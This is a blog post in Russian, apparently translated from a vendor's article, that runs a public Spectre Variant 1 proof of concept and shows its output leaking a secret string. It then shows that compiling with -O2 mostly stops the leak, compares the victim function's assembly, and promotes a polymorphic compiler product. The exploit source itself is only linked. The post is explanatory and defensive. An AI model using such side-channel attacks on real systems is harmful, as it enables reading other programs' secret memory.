Измените флаги оптимизатора в вашем компиляторе.

Этот (длинный) пост предназначен для технических специалистов, которые хотят увидеть, как предсказатели ветвлений обучаются, а также как их побеждают, если ветки меняются.

Начнем с этого кода в открытом доступе: https://repl.it/repls/DeliriousGreenOxpecker

Это копия Spectre Variant 1 (Bounds Check Bypass). Я этого не писал.

Атака

Когда я запускаю его на своем Mac, я получаю следующее:

root@47089c73b470:/# gcc spectre.c && ./a.out
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Unclear: 0x54=’T’ score=999 (second best: 0x2A score=983)
Reading at malicious_x = 0xffffffffffdfebb9... Unclear: 0x68=’h’ score=999 (second best: 0xC2 score=957)
Reading at malicious_x = 0xffffffffffdfebba... Unclear: 0x65=’e’ score=962 (second best: 0x00 score=957)
Reading at malicious_x = 0xffffffffffdfebbb... Unclear: 0x20=’ ’ score=999 (second best: 0x59 score=959)
Reading at malicious_x = 0xffffffffffdfebbc... Unclear: 0x4D=’M’ score=997 (second best: 0x2A score=960)
Reading at malicious_x = 0xffffffffffdfebbd... Unclear: 0x61=’a’ score=967 (second best: 0x8D score=960)
Reading at malicious_x = 0xffffffffffdfebbe... Unclear: 0x67=’g’ score=999 (second best: 0xD9 score=955)
Reading at malicious_x = 0xffffffffffdfebbf... Unclear: 0x69=’i’ score=999 (second best: 0x85 score=956)
Reading at malicious_x = 0xffffffffffdfebc0... Unclear: 0x63=’c’ score=989 (second best: 0xDA score=982)
Reading at malicious_x = 0xffffffffffdfebc1... Unclear: 0x20=’ ’ score=999 (second best: 0xC0 score=951)
Reading at malicious_x = 0xffffffffffdfebc2... Unclear: 0x57=’W’ score=998 (second best: 0xDB score=959)
Reading at malicious_x = 0xffffffffffdfebc3... Unclear: 0x6F=’o’ score=998 (second best: 0x56 score=960)
Reading at malicious_x = 0xffffffffffdfebc4... Unclear: 0x72=’r’ score=999 (second best: 0xE1 score=957)
Reading at malicious_x = 0xffffffffffdfebc5... Unclear: 0x64=’d’ score=965 (second best: 0x25 score=955)
Reading at malicious_x = 0xffffffffffdfebc6... Unclear: 0x73=’s’ score=999 (second best: 0xD6 score=983)
Reading at malicious_x = 0xffffffffffdfebc7... Unclear: 0x20=’ ’ score=999 (second best: 0x6B score=958)
Reading at malicious_x = 0xffffffffffdfebc8... Unclear: 0x61=’a’ score=972 (second best: 0xE5 score=960)
Reading at malicious_x = 0xffffffffffdfebc9... Unclear: 0x72=’r’ score=999 (second best: 0xBA score=966)
Reading at malicious_x = 0xffffffffffdfebca... Unclear: 0x00=’?’ score=968 (second best: 0x65 score=965)
Reading at malicious_x = 0xffffffffffdfebcb... Unclear: 0x20=’ ’ score=997 (second best: 0x85 score=962)
Reading at malicious_x = 0xffffffffffdfebcc... Unclear: 0x53=’S’ score=999 (second best: 0x00 score=981)
Reading at malicious_x = 0xffffffffffdfebcd... Unclear: 0x71=’q’ score=999 (second best: 0x00 score=963)
Reading at malicious_x = 0xffffffffffdfebce... Unclear: 0x75=’u’ score=999 (second best: 0x69 score=968)
Reading at malicious_x = 0xffffffffffdfebcf... Unclear: 0x65=’e’ score=979 (second best: 0x59 score=969)
Reading at malicious_x = 0xffffffffffdfebd0... Unclear: 0x56=’V’ score=962 (second best: 0xDB score=961)
Reading at malicious_x = 0xffffffffffdfebd1... Unclear: 0x6D=’m’ score=999 (second best: 0x69 score=963)
Reading at malicious_x = 0xffffffffffdfebd2... Unclear: 0x69=’i’ score=998 (second best: 0x00 score=985)
Reading at malicious_x = 0xffffffffffdfebd3... Unclear: 0x73=’s’ score=999 (second best: 0x85 score=969)
Reading at malicious_x = 0xffffffffffdfebd4... Unclear: 0x68=’h’ score=999 (second best: 0x24 score=969)
Reading at malicious_x = 0xffffffffffdfebd5... Unclear: 0x20=’ ’ score=998 (second best: 0x00 score=964)
Reading at malicious_x = 0xffffffffffdfebd6... Unclear: 0x4F=’O’ score=998 (second best: 0x67 score=985)
Reading at malicious_x = 0xffffffffffdfebd7... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=975)
Reading at malicious_x = 0xffffffffffdfebd8... Unclear: 0x73=’s’ score=999 (second best: 0x56 score=969)
Reading at malicious_x = 0xffffffffffdfebd9... Unclear: 0x69=’i’ score=998 (second best: 0x4C score=972)
Reading at malicious_x = 0xffffffffffdfebda... Unclear: 0x66=’f’ score=999 (second best: 0xA0 score=968)
Reading at malicious_x = 0xffffffffffdfebdb... Unclear: 0x72=’r’ score=999 (second best: 0x26 score=985)
Reading at malicious_x = 0xffffffffffdfebdc... Unclear: 0x61=’a’ score=981 (second best: 0x59 score=968)
Reading at malicious_x = 0xffffffffffdfebdd... Unclear: 0x67=’g’ score=999 (second best: 0x4D score=970)
Reading at malicious_x = 0xffffffffffdfebde... Unclear: 0x65=’e’ score=973 (second best: 0xDD score=968)
Reading at malicious_x = 0xffffffffffdfebdf... Unclear: 0x2E=’.’ score=999 (second best: 0x00 score=985)

Если вы посмотрите на символ, прочитанный на каждой итерации, вы увидите Unclear: 0x54=’T Unclear: 0x68=’h’ Unclear: 0x65=’e’ и так далее ... Полная последовательность считываемых символов: The Magic words ar? SqueVmish Ossifrage.

Секрет, который мы прикрепили к атаке, заключался в следующем: char * secret = “The Magic Words are Squeamish Ossifrage.”;

Это плохо. Вы заметите, что мы читаем содержимое памяти Secret, за исключением двух символов. Это значительный объем памяти для чтения.

Значение

Что делает этот код таким замечательным, так это то, что обучающая функция также является функцией атаки. Мы используем тот же код для обучения предсказателя ветвления, что и для его атаки. Следует отметить одно: вы увидите, как array2 используется в качестве побочного канала для проведения атаки flush + reload, описанной графически в моем сообщении о Meltdown.

Здесь важно то, что на современном компьютере есть ряд программ / платформ, в которые программист / разработчик / оператор вставляет собственный код, интерпретируемый код или JIT-код, который не совсем понятен. Код Javascript - это весь интерпретируемый / JIT-код, работающий поверх фиксированной платформы. Так что Java или .Net. Маршрутизаторы и конечные точки имеют встроенные интерпретаторы для Lua или Javascript.

В некоторых не очень редких случаях код может исходить даже от конечного пользователя. Это происходит с языками выражений или синтаксическими анализаторами на основе метаданных (класс ошибок десериализации, привлекший всеобщее внимание в прошлом году).

Это означает, что злоумышленнику не обязательно изучать вашу программу, чтобы обучать ее или влиять на нее. Они могут символически эксплуатировать устройства ROP. В нашем примере выше «функция жертвы» - это все, что злоумышленник должен был вызвать, не зная, как и где она находится.

Поражение

Посмотрите, что происходит, когда я немного изменяю код, используя флаг оптимизации -O2 (я выбрал его наугад - вы можете выбрать свой собственный).

root@47089c73b470:/# gcc -O2 spectre.c && ./a.out
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffb40... Unclear: 0x3D=’=’ score=981 (second best: 0xBC score=979)
Reading at malicious_x = 0xffffffffffdffb41... Unclear: 0x73=’s’ score=958 (second best: 0xC0 score=955)
Reading at malicious_x = 0xffffffffffdffb42... Unclear: 0xFA=’?’ score=966 (second best: 0x3D score=966)
Reading at malicious_x = 0xffffffffffdffb43... Unclear: 0xBE=’?’ score=964 (second best: 0xC1 score=963)
Reading at malicious_x = 0xffffffffffdffb44... Unclear: 0xC5=’?’ score=983 (second best: 0xF4 score=982)
Reading at malicious_x = 0xffffffffffdffb45... Unclear: 0x15=’?’ score=972 (second best: 0xC1 score=971)
Reading at malicious_x = 0xffffffffffdffb46... Unclear: 0xFC=’?’ score=964 (second best: 0xBD score=963)
Reading at malicious_x = 0xffffffffffdffb47... Unclear: 0xFA=’?’ score=985 (second best: 0xBC score=984)
Reading at malicious_x = 0xffffffffffdffb48... Unclear: 0x6F=’o’ score=956 (second best: 0xB8 score=953)
Reading at malicious_x = 0xffffffffffdffb49... Unclear: 0x71=’q’ score=956 (second best: 0xC0 score=955)
Reading at malicious_x = 0xffffffffffdffb4a... Unclear: 0xA1=’?’ score=984 (second best: 0x73 score=983)
Reading at malicious_x = 0xffffffffffdffb4b... Unclear: 0xC5=’?’ score=976 (second best: 0x75 score=975)
Reading at malicious_x = 0xffffffffffdffb4c... Unclear: 0x60=’`’ score=967 (second best: 0xFA score=966)
Reading at malicious_x = 0xffffffffffdffb4d... Unclear: 0x72=’r’ score=954 (second best: 0x6F score=954)
Reading at malicious_x = 0xffffffffffdffb4e... Unclear: 0xA3=’?’ score=969 (second best: 0x6F score=969)
Reading at malicious_x = 0xffffffffffdffb4f... Unclear: 0xAC=’?’ score=970 (second best: 0x54 score=968)
Reading at malicious_x = 0xffffffffffdffb50... Unclear: 0xFC=’?’ score=973 (second best: 0x70 score=971)
Reading at malicious_x = 0xffffffffffdffb51... Unclear: 0xBE=’?’ score=974 (second best: 0xBC score=972)
Reading at malicious_x = 0xffffffffffdffb52... Unclear: 0xA3=’?’ score=977 (second best: 0xF1 score=974)
Reading at malicious_x = 0xffffffffffdffb53... Unclear: 0x43=’C’ score=979 (second best: 0x1A score=973)
Reading at malicious_x = 0xffffffffffdffb54... Unclear: 0x6C=’l’ score=980 (second best: 0x50 score=980)
Reading at malicious_x = 0xffffffffffdffb55... Unclear: 0x72=’r’ score=980 (second best: 0x77 score=978)
Reading at malicious_x = 0xffffffffffdffb56... Unclear: 0xBD=’?’ score=970 (second best: 0xF8 score=969)
Reading at malicious_x = 0xffffffffffdffb57... Unclear: 0x61=’a’ score=983 (second best: 0x16 score=982)
Reading at malicious_x = 0xffffffffffdffb58... Unclear: 0x65=’e’ score=976 (second best: 0x6D score=973)
Reading at malicious_x = 0xffffffffffdffb59... Unclear: 0xC5=’?’ score=970 (second best: 0xB7 score=970)
Reading at malicious_x = 0xffffffffffdffb5a... Unclear: 0xF6=’?’ score=982 (second best: 0xA8 score=982)
Reading at malicious_x = 0xffffffffffdffb5b... Unclear: 0xAA=’?’ score=975 (second best: 0x3D score=975)
Reading at malicious_x = 0xffffffffffdffb5c... Unclear: 0x1A=’?’ score=975 (second best: 0xB8 score=973)
Reading at malicious_x = 0xffffffffffdffb5d... Unclear: 0xF4=’?’ score=985 (second best: 0x1C score=985)
Reading at malicious_x = 0xffffffffffdffb5e... Unclear: 0xC0=’?’ score=978 (second best: 0xF6 score=977)
Reading at malicious_x = 0xffffffffffdffb5f... Unclear: 0xA3=’?’ score=974 (second best: 0xB9 score=970)
Reading at malicious_x = 0xffffffffffdffb60... Unclear: 0xB9=’?’ score=985 (second best: 0x1A score=984)
Reading at malicious_x = 0xffffffffffdffb61... Unclear: 0x9F=’?’ score=979 (second best: 0x65 score=979)
Reading at malicious_x = 0xffffffffffdffb62... Unclear: 0x1A=’?’ score=977 (second best: 0x73 score=971)
Reading at malicious_x = 0xffffffffffdffb63... Unclear: 0x65=’e’ score=981 (second best: 0xB9 score=979)
Reading at malicious_x = 0xffffffffffdffb64... Unclear: 0x73=’s’ score=978 (second best: 0x60 score=978)
Reading at malicious_x = 0xffffffffffdffb65... Unclear: 0x65=’e’ score=974 (second best: 0xC5 score=972)
Reading at malicious_x = 0xffffffffffdffb66... Unclear: 0xF2=’?’ score=967 (second best: 0x6F score=965)
Reading at malicious_x = 0xffffffffffdffb67... Unclear: 0xA1=’?’ score=978 (second best: 0xAC score=977)

В данном случае мы получили строку: =s??????oq??`r?????Clr?ae??????????ese??

Это значительно меньше утечки информации.

Я уверен, что знаю, что -O2 будет применяться, и тогда мы сможем адаптировать код, чтобы он работал. Он действительно правильно понял несколько персонажей.

Это демонстрирует, что использование предсказателя ветвления не только возможно, но и то, что вы можете сделать это сами и показать своим друзьям.

Копаем немного глубже

Так что же только что произошло? Давайте посмотрим на сгенерированную сборку в обоих случаях, чтобы понять, что происходит:

Без каких-либо флагов оптимизации это сборка по умолчанию для функции жертвы:

root@47089c73b470:/# gcc -S spectre.c -o spectre.default.s
root@47089c73b470:/# cat spectre.default.s 
<snipped/>
victim_function:
.LFB3695:
 .cfi_startproc
 pushq %rbp
 .cfi_def_cfa_offset 16
 .cfi_offset 6, -16
 movq %rsp, %rbp
 .cfi_def_cfa_register 6
 movq %rdi, -8(%rbp)
 movl array1_size(%rip), %eax
 movl %eax, %eax
 cmpq -8(%rbp), %rax
 jbe .L3
 movq -8(%rbp), %rax
 addq $array1, %rax
 movzbl (%rax), %eax
 movzbl %al, %eax
 sall $9, %eax
 cltq
 movzbl array2(%rax), %edx
 movzbl temp(%rip), %eax
 andl %edx, %eax
 movb %al, temp(%rip)
.L3:
 nop
 popq %rbp
 .cfi_def_cfa 7, 8
 ret
 .cfi_endproc
<snipped/>

Когда я добавил -O2, что он сделал?

root@47089c73b470:/# gcc -S -O2 spectre.c -o spectre.o2.s
root@47089c73b470:/# cat spectre.o2.s 
<snipped/>
victim_function:
.LFB4882:
 .cfi_startproc
 movl array1_size(%rip), %eax
 cmpq %rdi, %rax
 jbe .L1
 movzbl array1(%rdi), %eax
 sall $9, %eax
 cltq
 movzbl array2(%rax), %eax
 andb %al, temp(%rip)
.L1:
 rep ret
 .cfi_endproc
<snipped/>

Позвольте мне выложить ассемблерный код «Victim_function» рядом, чтобы вы знали, что изменилось:

Они по-прежнему делают то же самое. Они по-прежнему работают одинаково. Они скомпилированы с использованием одного и того же компилятора. Оба законны. Они семантически идентичны, но используют разные инструкции в разном порядке, и посмотрите, насколько легко была отклонена попытка атаки.

Вот уже несколько лет мы говорим об этом: проблема в отсутствии разнообразия. В ту минуту, когда мы меняем кое-что здесь и там, усилия, требуемые от злоумышленника, возрастают на порядки.

Теперь вы можете скомпилировать свой собственный код с разными флагами оптимизатора и протестировать эффекты.

Полиморфный компилятор, который строит наш Полиморфный Linux, делает нечто очень похожее, но с большей мощностью и большей эффективностью.

Вы можете сразу же использовать Polymorphic Linux через наш бесплатный уровень.